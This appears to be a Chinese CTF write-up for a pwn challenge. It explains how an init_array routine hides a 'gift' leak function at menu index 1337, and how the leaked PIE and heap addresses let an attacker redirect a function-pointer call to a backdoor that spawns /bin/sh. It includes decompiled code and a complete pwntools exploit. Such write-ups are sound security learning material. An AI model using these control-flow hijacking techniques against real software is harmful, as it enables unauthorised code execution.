在考试的时候没有做出来,考完后和老曹交流学会了,主要卡住的点,是走错了方向,一直在考虑堆的漏洞怎么利用,其实不是堆的漏洞,怎么说呢,其实是一个知识点的事,init_array这个节,会进行一些初始化操作,不知道确实很难搞…不过其实也不是没有办法,其实可以进行一些全局搜索之类的,寻找线索.
		题目文件: 本链接加attachments.tar.gz
解题思路
寻找对应函数
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | __int64 __fastcall main(const char *a1, char **a2, char **a3){
 int v4;
 unsigned __int64 v5;
 
 v5 = __readfsqword(0x28u);
 ((void (__fastcall *)(const char *, char **, char **))sub_14A9)(a1, a2, a3);
 while ( 1 )
 {
 ((void (__fastcall *)(const char *))sub_1531)(a1);
 printf("choice: ");
 a1 = "%d";
 __isoc99_scanf("%d", &v4);
 if ( v4 == 4 )
 break;
 if ( v4 <= 0 )
 exit(1);
 ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4);
 }
 return 0LL;
 }
 
 unsigned __int64 sub_1531()
 {
 unsigned __int64 v1;
 
 v1 = __readfsqword(0x28u);
 puts("1. add");
 puts("2. delete");
 puts("3. edit");
 puts("4. exit");
 return v1 - __readfsqword(0x28u);
 }
 
 | 
		一上来看sub_1531是能看到菜单的,但是很明显,下面没有对应的函数,就感到很奇怪了,(其实下次可以直接在ida的函数列表里找,如果不是花指令的话,花指令的话,还是直接看汇编,看有没有红色的代码)
		当时是在gdb中动态调试找到的对应的函数
		同时发现了一个gift函数,用来泄露地址的,还发现了一个后门函数,可以直接getshell,于是现在的问题就变成了怎么执行这个后门函数呢? 也就是怎么劫持控制流, 覆盖返回地址 or 利用堆进行任意内存读写, 似乎 都不太行…于是就卡住了
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | unsigned __int64 sub_1206(){
 void *v0;
 unsigned __int64 v2;
 
 v2 = __readfsqword(0x28u);
 puts("Ok, you find the gift");
 v0 = malloc(0LL);
 printf("%#lx, %#lx, %#lx\n", sub_1206, &write, v0);
 return v2 - __readfsqword(0x28u);
 }
 
 unsigned __int64 sub_11C9()
 {
 unsigned __int64 v1;
 
 v1 = __readfsqword(0x28u);
 system("/bin/sh");
 return v1 - __readfsqword(0x28u);
 }
 
 | 
柳暗花明差一村
| 12
 3
 4
 5
 
 |   ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4);
 .data:0000000000005000 off_5000        dq 0FFFFFFFF21525389h   ; DATA XREF: main+A0↑o
 .data:0000000000005008                 dq 0FFFFFFFF21525477h
 .data:0000000000005010                 dq 0FFFFFFFF21525518h
 
 | 
		当时在main函数中,看到了这个,也理解了off_5000是data节中的数据,利用这里的数据进行一些运算,然后就到达了函数地址,例如0位置,运算后就是add函数的位置,但是 gift和后门函数,都在内存中没有这个偏移,堆虽然可以写,但是不知道堆的地址呀,但gift可以泄露,但gift怎么调用呢??  于是就卡死了………
		其实这里可以尝试爆破的…(我觉得),后面有时间可以试试
		于是就在这里卡死了…就像开头提的一样,其实在init_array中有初始化这个操作,保存了gift对应的地址,怎么说呢…应该让自己多学一点工具,辅助自己去探索可能的路径

正解
		elf执行时会先走这个init,这里面有个sub_144E,就是它把gift函数加载进去了,能够看到,它加载到的地址的偏移就是0x29C0
&0xFFFFFFFFFFFFF000LL是干了啥呢? 与之后就是程序0x5000的位置,是为了得到这个位置,然后+0x29C0就是存储gift的地方
		不过这里为啥是0xDEADBF61LL,这是什么逻辑,后面在main中要+0xDEADBEEFLL,
		所以0x1278 - 0xDEADBF61 +0xDEADBEEF = 0x1206,就是gift的地址,所以这个地址应该是这个原因,因为要考虑到pie,所以要用一个函数或者变量的地址,这里用了0x1278的, 和它差多少呢?  就是  0x1206  -  0xDEADBEEF-0x1278,也就是-0xdeadbf61
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | .init_array:0000000000003D60                 ;org 3D60h.init_array:0000000000003D60 off_3D60        dq offset sub_11C0      ; DATA XREF: LOAD:0000000000000168↑o
 .init_array:0000000000003D60                                         ; LOAD:00000000000002F0↑o
 .init_array:0000000000003D68                 dq offset sub_144E
 .init_array:0000000000003D68 _init_array     ends
 .init_array:0000000000003D68
 
 unsigned __int64 sub_144E()
 {
 unsigned __int64 v1;
 
 v1 = __readfsqword(0x28u);
 *(_QWORD *)(((unsigned __int64)&unk_5018 & 0xFFFFFFFFFFFFF000LL) + 0x29C0) = (char *)sub_1278 - 0xDEADBF61LL;
 return v1 - __readfsqword(0x28u);
 }
 
 
 | 
		所以就可以先通过调用gift来进行泄露地址,0x29C0 = 10688 , 10688/8 = 1336,这是因为指针的偏移,按照char类型来算????? 是吗?
	因为在main中还有个-1,所以是1337,输入1337就可以调用gift了!
最终步骤
| 12
 3
 
 | choice: 1337Ok, you find the gift
 0x5557ed770206, 0x7f1094c79d80, 0x5557eea752a0
 
 | 
		之前取这些数据的时候老出问题…….
		先把前面的数据接收了,然后再接收三个值,怎么接收呢,可以按照长度来,但是感觉比较der,还是看老曹的..recvline之后strip去掉最后的空格,然后decode解码,然后通过”, “分割,这样gift就成了数组, 0 1 2 对应着三个值,就可以了!
| 12
 3
 4
 5
 6
 
 | gift = (p.recvline().strip()).decode().split(', ')pie = int(gift[0], 16) - 0x1206
 
 leak_heap_addr = int(gift[2], 16)
 
 vul_addr = leak_heap_addr + 0x20
 
 | 
		然后把后门地址写入堆地址,此时也有堆的地址了,再次利用main函数中的调用逻辑,调用就可以了
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | backdoor_addr = pie + 0x11c9
 p.recvuntil('choice: ')
 p.sendline('1')
 p.recvuntil('content: ')
 p.send(p64(backdoor_addr - 0xdeadbeef))
 
 
 trigger_input = (vul_addr - pie - 0x5000)
 
 | 
		//是整除的意思
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | from pwn import *
 elf = "./pwn"
 
 context.log_level= "debug"
 
 p = process(elf)
 p =remote("xxxxx", xxx)
 context.terminal = ['tmux', 'splitw', '-h']
 
 
 
 p.sendlineafter('choice: ', str(1337))
 p.recvuntil('Ok, you find the gift\n')
 
 gift = (p.recvline().strip()).decode().split(', ')
 pie = int(gift[0], 16) - 0x1206
 
 leak_heap_addr = int(gift[2], 16)
 
 vul_addr = leak_heap_addr + 0x20
 
 backdoor_addr = pie + 0x11c9
 
 p.recvuntil('choice: ')
 p.sendline('1')
 p.recvuntil('content: ')
 p.send(p64(backdoor_addr - 0xdeadbeef))
 
 
 trigger_input = (vul_addr - pie - 0x5000) // 8 + 1
 
 p.recvuntil('choice: ')
 p.sendline(str(trigger_input))
 
 p.interactive()
 
 | 
待解决
这个题如果正向写代码,要怎么写呢?
ida一开始进去不是main而是…这里是否…